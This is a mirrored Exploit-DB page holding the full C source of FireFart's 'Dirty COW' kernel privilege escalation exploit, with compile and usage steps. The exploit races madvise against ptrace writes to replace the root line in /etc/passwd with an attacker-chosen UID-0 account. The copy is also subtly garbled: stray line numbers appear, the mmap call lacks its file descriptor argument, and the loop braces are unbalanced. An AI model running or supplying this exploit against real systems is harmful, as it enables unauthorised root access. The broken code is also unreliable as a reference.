Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method)

Exploit Database
123 阅读

作者： FireFart

日期： 2016-11-28
类别：
- local
平台：
- linux
来源：https://www.exploit-db.com/exploits/40839/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

// This exploit uses the pokemon exploit of the dirtycow vulnerability

// as a base and automatically generates a new passwd line.

// The user will be prompted for the new password when the binary is run.

// The original /etc/passwd file is then backed up to /tmp/passwd.bak

// and overwrites the root account with the generated line.

// After running the exploit you should be able to login with the newly

// created user.

// To use this exploit modify the user values according to your needs.

// The default is "firefart".

// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):

// https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c

// Compile with:

// gcc -pthread dirty.c -o dirty -lcrypt

// Then run the newly create binary by either doing:

// "./dirty" or "./dirty my-new-password"

// Afterwards, you can either "su firefart" or "ssh firefart@..."

// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!

// mv /tmp/passwd.bak /etc/passwd

// Exploit adopted by Christian "FireFart" Mehlmauer

// https://firefart.at

#include <fcntl.h>

#include <pthread.h>

#include <string.h>

#include <stdio.h>

#include <stdint.h>

#include <sys/mman.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <sys/wait.h>

#include <sys/ptrace.h>

#include <stdlib.h>

#include <unistd.h>

#include <crypt.h>

const char *filename = "/etc/passwd";

const char *backup_filename = "/tmp/passwd.bak";

const char *salt = "firefart";

int f;

void *map;

pid_t pid;

pthread_t pth;

struct stat st;

struct Userinfo {

char *username;

char *hash;

int user_id;

int group_id;

char *info;

char *home_dir;

char *shell;

};

char *generate_password_hash(char *plaintext_pw) {

return crypt(plaintext_pw, salt);

}

char *generate_passwd_line(struct Userinfo u) {

const char *format = "%s:%s:%d:%d:%s:%s:%s\n";

int size = snprintf(NULL, 0, format, u.username, u.hash,

u.user_id, u.group_id, u.info, u.home_dir, u.shell);

char *ret = malloc(size + 1);

sprintf(ret, format, u.username, u.hash, u.user_id,

u.group_id, u.info, u.home_dir, u.shell);

return ret;

}

void *madviseThread(void *arg) {

int i, c = 0;

for(i = 0; i < 200000000; i++) {

c += madvise(map, 100, MADV_DONTNEED);

}

printf("madvise %d\n\n", c);

}

int copy_file(const char *from, const char *to) {

// check if target file already exists

if(access(to, F_OK) != -1) {

printf("File %s already exists! Please delete it and run again\n",

to);

return -1;

}

char ch;

FILE *source, *target;

source = fopen(from, "r");

if(source == NULL) {

return -1;

}

target = fopen(to, "w");

if(target == NULL) {

fclose(source);

return -1;

}

while((ch = fgetc(source)) != EOF) {

fputc(ch, target);

}

printf("%s successfully backed up to %s\n",

from, to);

fclose(source);

fclose(target);

return 0;

}

int main(int argc, char *argv[])

{

// backup file

int ret = copy_file(filename, backup_filename);

if (ret != 0) {

exit(ret);

}

struct Userinfo user;

// set values, change as needed

user.username = "firefart";

user.user_id = 0;

user.group_id = 0;

user.info = "pwned";

user.home_dir = "/root";

user.shell = "/bin/bash";

char *plaintext_pw;

if (argc >= 2) {

plaintext_pw = argv[1];

printf("Please enter the new password: %s\n", plaintext_pw);

} else {

plaintext_pw = getpass("Please enter the new password: ");

}

user.hash = generate_password_hash(plaintext_pw);

char *complete_passwd_line = generate_passwd_line(user);

printf("Complete line:\n%s\n", complete_passwd_line);

f = open(filename, O_RDONLY);

fstat(f, &st);

map = mmap(NULL,

st.st_size + sizeof(long),

PROT_READ,

MAP_PRIVATE,

0);

printf("mmap: %lx\n",(unsigned long)map);

pid = fork();

if(pid) {

waitpid(pid, NULL, 0);

int u, i, o, c = 0;

int l=strlen(complete_passwd_line);

for(i = 0; i < 10000/l; i++) {

for(o = 0; o < l; o++) {

for(u = 0; u < 10000; u++) {

c += ptrace(PTRACE_POKETEXT,

pid,

map + o,

*((long*)(complete_passwd_line + o)));

}

printf("ptrace %d\n",c);

}

else {

pthread_create(&pth,

NULL,

madviseThread,

NULL);

ptrace(PTRACE_TRACEME);

kill(getpid(), SIGSTOP);

pthread_join(pth,NULL);

}

printf("Done! Check %s to see if the new user was created.\n", filename);

printf("You can log in with the username '%s' and the password '%s'.\n\n",

user.username, plaintext_pw);

printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",

backup_filename, filename);

return 0;

}